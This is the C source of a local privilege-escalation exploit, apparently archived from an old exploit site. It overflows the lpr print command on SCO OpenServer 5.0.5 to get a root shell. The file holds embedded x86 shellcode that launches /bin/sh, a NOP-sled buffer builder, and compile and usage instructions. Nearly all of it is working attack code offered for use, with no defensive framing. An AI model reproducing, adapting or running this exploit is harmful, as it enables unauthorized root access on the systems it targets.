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- /*
- * sco_lpr.c - overflows /usr/remote/lpd/lp and gives rootshell
- * Tested on SCO 5.0.5+Skunkware98
- *
- * Compile gcc -o sco_lpr sco_lpr.c
- * sco_lpr <offset> <bufsiz>
- *
- * -Brock Tellier btellier@webley.com
- */
-
-
- #include <stdlib.h>
- #include <stdio.h>
-
- char scoshell[]= /* doble@iname.com */
- "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
- "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
- "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
-
-
- #define LEN 3000
- #define NOP 0x90
-
- unsigned long get_sp(void)
- {
- __asm__("movl %esp, %eax");
- }
-
-
- int main(int argc, char *argv[])
- {
- long int offset=0;
-
- int i;
- int buflen = LEN;
- long int addr;
- char buf[LEN];
-
- if(argc > 3)
- {
- fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
- exit(0);
- }
- else if (argc == 2)
- {
- offset=atoi(argv[1]);
- }
- else if (argc == 3)
- {
- buflen=atoi(argv[2]);
- }
- else
- {
- offset=1800;
- buflen=1500;
- }
-
- addr=get_sp();
- fprintf(stderr, "SCO 5.0.5 lpr exploit\n");
- fprintf(stderr, "Brock Tellier btellier@webley.com\n");
- fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
-
- memset(buf,NOP,buflen);
- memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
- for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)
- *(int *)&buf[i]=addr+offset;
-
- execl("/usr/bin/lpr", "lpr", "-o", buf, NULL);
- exit(0);
- }
- /* www.hack.co.za [2000]*/